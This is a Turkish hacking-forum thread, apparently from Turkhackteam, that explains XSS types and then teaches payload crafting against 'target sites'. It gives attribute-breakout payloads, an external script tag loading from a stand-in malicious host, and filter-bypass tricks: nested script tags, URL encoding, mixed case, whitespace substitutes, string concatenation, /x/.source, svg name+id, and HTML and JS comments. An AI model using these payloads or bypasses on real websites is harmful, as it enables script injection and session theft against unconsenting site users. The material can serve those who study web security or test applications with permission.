XSS Nedir? Payload Üretme/Düzenleme //KurokoTetsuya\\

KurokoTetsuya

Kadim Üye
23 Nis 2015
5,028
2
SGA
UYARI: THT'de script etiketleri engellendiği için makalede i harfi yerine ters ünlem ( ¡ ) kullanılacaktır. Siz orayı i harfi olarak anlayın, ona göre öğrenin.

XSS zafiyeti hedef sitemizde HTML ve Javascript kodları çalıştırmamızı sağlayan kritik bir zafiyettir. HTML Injection zafiyetinden farkı; Javascript kodu da çalışmasıdır. Eğer HTML kodu çalışıyorsa fakat Javascript kodları çalışmıyorsa orda HTML Injection zafiyeti vardır. Bazıları bu zafiyet hakkında "Ne işe yarar ki, sonuçta ekrana bir şey yazdırıyo'n o kadar." gibi bir düşünceye sahip olabiliyor. Fakat iş ekrana yazı yazdırmakla kalmayabilir, sonuçta istediğimiz Javascript kodunu çalıştırabiliyoruz. Bug Bounty'de de oldukça önemli görülen bir zafiyettir.

Öncelikle bu makalede okuduğunuzu anlamanız için temel düzeyde Javascript ve HTML bilginizin olması gerekiyor.

Konumuzda sıkça geçecek olan bir kelime ve anlamını bırakayım buraya. Payload: XSS zafiyetini sömürebilecek Javascript kodu. Kelime anlamı bu değil ama konu XSS olunca böyle bir terim anlamı oluyor.

Nerelerde aranabilir: Arama kutucuğu gibi yazı yazabildiğimiz her yerde, URL'de parametrelerde arayabiliriz.
Üçe ayrılır: Reflected, Stored, DOM

Reflected XSS: Sadece kullanıcı Javascript kodu yazdığında çalışır. Sunucuda bir kalıcılığı yoktur.

Stored XSS: Reflected XSS'in aksine kalıcıdır. Payload'lar anlık olarak yansımaz, önce sunucuya kaydedilir. Stored XSS bulunan sayfaya Payload atıldıktan sonra o adrese giden herkes önceden atılan Payload'a maruz kalır.

DOM XSS: DOM'lardan kaynaklanan XSS türüdür, genelde # işaretinden sonra payload denenip sayfa yenilendiğinde kodun çalışmasıyla anlaşılan XSS türüdür.

3 çeşit payload vardır.
1) Script etiketleri kullanılanlar: Javascript kodları <script></script> etiketleri arasına yazılır.

2) Harici Javascript kodu çalıştırma: Farklı bir adreste bulunan Javascript kodu çalıştırmaya yarar.
Kod:
<SCRIPT SRC=http://zararlısite.com/zararlıxssdosyasi.js></SCRIPT>

3) Olaylara yazılan Javascript kodları: Buradaki payload yapısı aşağıdaki gibidir.
Kod:
<etiket olay=javascript kodu>
Örnek:
Kod:
<img onerror=alert(1)>
Örneğimizde "Sayfaya resim yüklenirken hata olması durumunda ekrana alert() ile 1 yazdır." demiş oluyoruz. Biz belli bir resim belirtmediğimiz için bu kodumuz hatalı oluyor, hata olduğu durumda ekrana 1 sayısını yansıtmış oluyoruz.


Kullanılabilecek olaylar:
Kod:
onclick
ondblclick
onmousedown
onmousemove
onmouseover
onmouseout
onmouseup
onkeydown
onkeypress
onkeyup
onabort
onerror
onload
onresize
onscroll
onunload
onsubmit
onblur
onchange
onfocus
onreset
onselect
onMoveOn
oncopy
oncut
ondrop
onhelp
onplay
onshow

XSS tespiti için alert alternatifi olarak prompt ve confirm kullanabilir. Basit farkları var. Alert sadece ekrana istediğimiz değeri yansıtır. Prompt istediğimiz değeri yansıtır ve kullanıcıdan veri isteyen bir kutucuk bulundurur. Confirm istediğimiz değeri yansıtır ve "Tamam" ve "İptal" gibi 2 seçenek sunar. Burda bizim istediğimizin yansıtılması bizim için yeterli, o yüzden alert, prompt veya confirm kullanmanın pek farkı yok. İstediğimiz verinin ekrana yansıması yeterli.


Bazen üstteki payload yöntemleri çalışmayabilir bunun nedenini ve bu sorunu çözmeyi de şu anda anlatacağım. Değer girebildiğimiz kutucuklarda bizden alınan veriler iki adet çift tırnak içine yazılır. Mesela bizden herhangi bir şey yazmamızı isteyen kutucuk olsun, ve bizim kutucuğa Kuroko yazdığımızı düşünelim. Bizim Kuroko değerini yazdıktan sonraki kutucuğun kodu da şu olsun:
Kod:
<input type="text" name="kutucuk" value="Kuroko">
Eğer biz burda yazdığımız değerden sonra etiketi kendimiz kapatırsak geriye boş bir alan kalacak ve biz bu boş alanda istediğimiz gibi at koşturabileceğiz. Yani istediğimiz kodu çalıştırabileceğiz. Eğer biz Kuroko yazdığımız yere "><scr¡pt>alert(1)</script> yazarsak input etiketi içinden kurtulup kendimize ait script etiketleri kullanarak ekrana 1 değerini yansıtabileceğiz. Bahsettiğimiz payload uygulandıktan sonra ise kaynak kod şöyle olacak:
Kod:
<input type="text" name="kutucuk" value=""><scr¡pt>alert(1)</script>
 
Son düzenleme:

KurokoTetsuya

Kadim Üye
23 Nis 2015
5,028
2
SGA
XSS PAYLOAD ÜRETME/DÜZENLEME

Çalışan diğer kodları engelleme: Payload sonrasında hedef sitemizde bulunan kodların bir kısmını yorum satırının içine alarak etkisiz hale getirebiliriz. Bu şekilde payload'umuzun çalışmasını engelleyen kodlar da etkisiz hale gelebilir. Kullanılabilir yöntemler:
Kod:
">payload//
Ya da
">payload<!--

Filtre bypass'lama
Bazen payload engellemek için olay sayısı kısıtlanır. Bu durumda yapmak gereken:
Kod:
<x onx
<x onxx
Şeklinde ilerleyip x sayısını arttırmaktır. Engellendiğindeki harf sayısına bakıp o harf sayısından az olan olayları payload'da kullanabilirsiniz.


URL Encoding: Kullandığımız payload'lardaki kelime engellerini atlatmak için kullanılan yöntemlerden birisi. Mesela "alert" kelimesini engelleyen bir sitede bazı harfleri veya tüm harfleri URL Encoding kullanarak engelleriz.
Örnek:
Kod:
al%65rt
Burda e harfinin yerine encode edilmiş %65 kulllanılıyor.
Tüm harflerin listesi için: https://www.degraeve.com/reference/urlencoding.php
Ya da Google'a "character encoding url" gibi bir arama ile aynı bilgileri bulacağınız diğer sitelere erişebilirsiniz.


Büyük-küçük harf: Engellenen kelimeleri atlatmak için bir yöntem daha. Mesela URL Encoding yapsak bile hedef sitemiz yazmak istediğimiz şeyi engellediği "alert" kelimesi ile eşleştiriyorsa bu Javascript kodumuzun çalışmasını engeller. Bunun için bazı harfleri büyük, bazılarını küçük yazdığımızda hedef sitemiz "alert" ile "aLert" yazısının birebir aynı olduğunu anlamayacak fakat biz yine ekrana alert ile istediğimizi yazdırmış olacağız.

Silinen etiketler: Bazı sayfalarda önlem olarak <scr¡pt>alert(1)</script> yazıldığında bu etiket silinir ve geriye alert(1) kalır,bu da payload'umuzun çalışmasını engeller. Burda eğer script etiketimizin içine bir adet script etiketi eklersek biri silinecek, silindiğinde diğer script etiketi birleşip çalışır duruma gelecek. Örneği inceleyerek daha iyi anlayabilirsiniz:
Kod:
<sc<scr¡pt>r¡pt>alert(123)</scr</script>ipt>
Örneğimizde <sc ript> arasındaki <scr¡pt>etiketinin silindiğini düşünelim. Hedefimiz içteki etiketi sildiğinde ayrılmış etiketi birleştirmiş olacak.


Boşluk alternatifleri: Bazen <img onerror=alert(1)> gibi bir payload denediğimizde koyduğumuz boşluk yüzünden payload çalışmayabilir. Boşluk bırakmak yerine kullanabileceklerimiz:
Kod:
/
%09
%0A
%0C
%0D
%2F
Örnek:
Kod:
<img/onerror=alert(1)>
<img%09onerror=alert(1)>

Matematiksel operatörler kullanmak: Hedef sitemizde alert yazmamız engellenirse biz de alert kelimesini 2 farklı string olarak ayarlayıp alert yazdırırız. Mesela "ale" "rt" şeklinde ayırırız, + operatörü ile birleştirebiliriz. Javascript'te + ile sayılar toplanabilir veya farklı kelimeler birleştirilebilir. 'Selam'+'THT' yazarsak "SelamTHT" şeklinde çıktı alırız. Biz de 'ale'+'rt' yaparsak bu 2 farklı string'i birleştirip alert yazdırmış oluruz. Örnek:
Kod:
<img onerror='ale'+'rt'(1)>

/kelime/.source: Bu başlık kafanızı karıştırmış olabilir. Yapacağımız şey artı operatörü ile 2 farklı string birleştirmenin farklı bir yolu. Mesela alert kelimesini "ale" ve "rt" olarak ikiye ayıralım. /ale/.source+/rt/.source yazdığımızda sonuç "alert" oluyor. Örnek:
Kod:
<img onerror=/ale/.source+/rt/.source(1)>

Name ve Id parametreleri: HTML'de objeleri Name ve Id parametreleri ile adlandırıp diğer objelerden ayırabiliriz. Burda name ve id kullanarak üstteki yaptığımız işlemleri yapacağız. Yine "alert" kelimesini "ale" ve "rt" olarak ikiye ayırdık diyelim. Name parametresine "ale" değerini atayıp id parametresine de "rt" değerini atayıp ikisini artı operatörü ile birleştirirsek yine alert sonucunu alacağız. Örnek:
Kod:
<svg id=rt name=ale onload=name+id>

Yorum satırları: Yazdığımız payload'ta Javascript çalışan kısımda kelime engellemesi varsa bu engellemeyi yorum satırları ile aşabiliriz. Bildiğiniz üzere Javascript'te 2 çeşit yorum satırı vardır. Bunlardan birisi 2 adet slash koymaktır ( // ) eğer bunu yaparsak 2 slash'dan sonrası algılanmayacaktır. O zaman diğer yorumlama yöntemini kullanırız ( /*kelime*/ ). Bildiğiniz üzere parantez içinde kelime yazdığım yere ne yazarsam yazayım, bu kodların çalışmasını etkilemeyecektir. Biz de bunu kullanarak kullandığımız Payload'un arasına yorum satırı atacağız. Örnek:
Kod:
<img onerror=al/**/ert(1)>
Fakat Javascript'te kullanılan yorum satırını <img> gibi etiketlerde veya onerror gibi olaylarda kullanırsak çalışmayacaktır. Eğer olaylar engelleniyorsa olayların arasına HTML açıklama satırı ekleyebiliriz, tıpkı üstteki alert için yaptığımız gibi. HTML açıklama satırı <!--kelime--> şeklindedir. Kelime kısmında ne yazdığının bir önemi yok. Örnek:
Kod:
<img oner<!--kuroko-->ror=alert(1)>
Fakat HTML açıklama satırı etiketlerde çalışmıyor, daha doğrusu payload'umuzu olumsuz etkiliyor.
 
Son düzenleme:

KurokoTetsuya

Kadim Üye
23 Nis 2015
5,028
2
SGA

King Kong

Kıdemli Üye
19 Mar 2017
2,392
10
KurokoTetsuya Sahalara Geri mi Döndü Yoksa? Ellerine Sağlık Hocam En Güzel XSS Konusu Sanırım.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.